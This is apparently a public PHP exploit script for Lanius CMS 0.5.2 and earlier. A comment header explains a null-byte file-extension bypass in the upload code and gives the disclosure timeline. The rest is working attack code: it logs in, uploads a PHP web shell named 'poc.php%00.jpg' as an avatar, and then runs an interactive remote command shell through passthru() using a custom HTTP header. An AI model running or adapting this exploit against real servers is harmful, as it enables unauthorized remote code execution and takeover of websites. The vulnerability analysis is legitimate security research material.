<?php

/*
  --------------------------------------------------------
  Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit
  --------------------------------------------------------
  
  author...: EgiX
  mail.....: n0b0d13s[at]gmail[dot]com
  
  link.....: http://www.laniuscms.org/
  details..: this vulnerability affects all Drake CMS >= 0.4.6 and Lanius CMS <= 0.5.2 r1050
 
  This PoC was written for educational purpose. Use it at your own risk.
  Author will be not responsible for any damage.

  [-] vulnerable code in /includes/upload.php (in_upload() function)

  52.    if ($file_sz > $max_sz )
  53.      return sprintf(_UPLOAD_TOO_BIG, convert_bytes($file_sz), convert_bytes($max_sz));
  54.      
  55.    $thy_name = basename(urldecode($_FILES[$elem]['name']));
  56.    if (isset($allowed_ext)) {
  57.      $ext = file_ext($thy_name);
  58.      if (($ext==='') || (!in_array($ext, $allowed_ext)))
  59.        return sprintf(_UPLOAD_DISALLOWED_EXT, implode(', ',$allowed_ext));
  60.    }
  61.    $orig_name = $thy_name;

  [-] file_ext() function defined into /includes/functions.php

  101.  function file_ext($file)
  102.  {
  103.    $p = strrpos($file, '.');
  104.    if ($p===false)return '';
  105.    return strtolower(substr($file,$p+1));
  106.  }

  Cause of the uploaded filename is passed to urldecode() function is possibile to inject a null
  char to bypass the extension's check. This is possibile because strrpos() function, used into
  file_ext() function, is binary-safe, so by passing a filename e.g. test.php%00.jpg this function
  returns 'jpg', but the file will be saved as test.php by move_uploadad_file() function.

  [-] Disclosure timeline:
    
  [05/04/2009] - Bug discovered
  [06/04/2009] - Vendor contacted
  [06/04/2009] - Vendor replied
  [07/04/2009] - Fix released: http://www.laniuscms.org/?option=content&id=81
  [07/04/2009] - Public disclosure
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
  if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)
    die("\nsocket_create(): " . socket_strerror($s) . "\n");

  if (socket_connect($s, $host, 80) == false)
    die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");

  socket_write($s, $packet, strlen($packet));
  while ($m = socket_read($s, 2048)) $response .= $m;

  socket_close($s);
  return $response;
}

function login()
{
  global $host, $path, $username, $password, $sid;
  
  print "\n[-] Logging in with username '{$username}' and password '{$password}'\n";
  
  $payload = "username={$username}&password={$password}&task=login";
  $packet  = "POST {$path}?option=login HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $payload;

  $response = http_send($host, $packet);
  preg_match("/PHPSESSID=([0-9a-f]{32})/i", $response, $match);
  $sid = $match[1];
  
  if (!preg_match("/Location: index.php/i", $response))
    die("[-] Incorrect username/password\n");
}

function upload()
{
  global $host, $path, $sid, $username, $password;

  login();
  
  $avatar = "media/forum/avatars/custom/poc.php";
  $params = array('user_name' => $username,
          'user_password_orig' => $password,
          'user_email' => 'foo@bar.com',
          'btnsubmit' => 'Update',
          'task' => 'update');

  foreach ($params as $name => $value)
    $payload .= "--o0oOo0o\r\nContent-Disposition: form-data; name=\"{$name}\"\r\n\r\n{$value}\r\n";

  $payload .= "--o0oOo0o\r\nContent-Disposition: form-data; name=\"user_uploaded_avatar\"; filename=\"poc.php%00.jpg\"\r\n";
  $payload .= "Content-Type: image/jpeg\r\n\r\n";
  $payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))} ?>\r\n";
  $payload .= "--o0oOo0o--\r\n";
  
  $packet  = "POST {$path}?option=user HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cookie: PHPSESSID={$sid}\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $payload;

  http_send($host, $packet);

  $packet  = "GET {$path}{$avatar} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";

  if (preg_match('/200 OK/i', http_send($host, $packet)))
    return $avatar;

  die("[-] Upload failed\n");
}

print "\n+------------------------------------------------------------------+";
print "\n| Lanius CMS <= 0.5.2 Remote Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 5)
{
  print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n";
  print "\nExample....: php $argv[0] localhost / user pass";
  print "\nExample....: php $argv[0] localhost /lanius/ user pass\n\n";
  die();
}

$host = $argv[1];
$path = $argv[2];
$username = $argv[3];
$password = $argv[4];

$path .= upload();

$packet  = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
  print "\nlanius-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed\n");
}

?>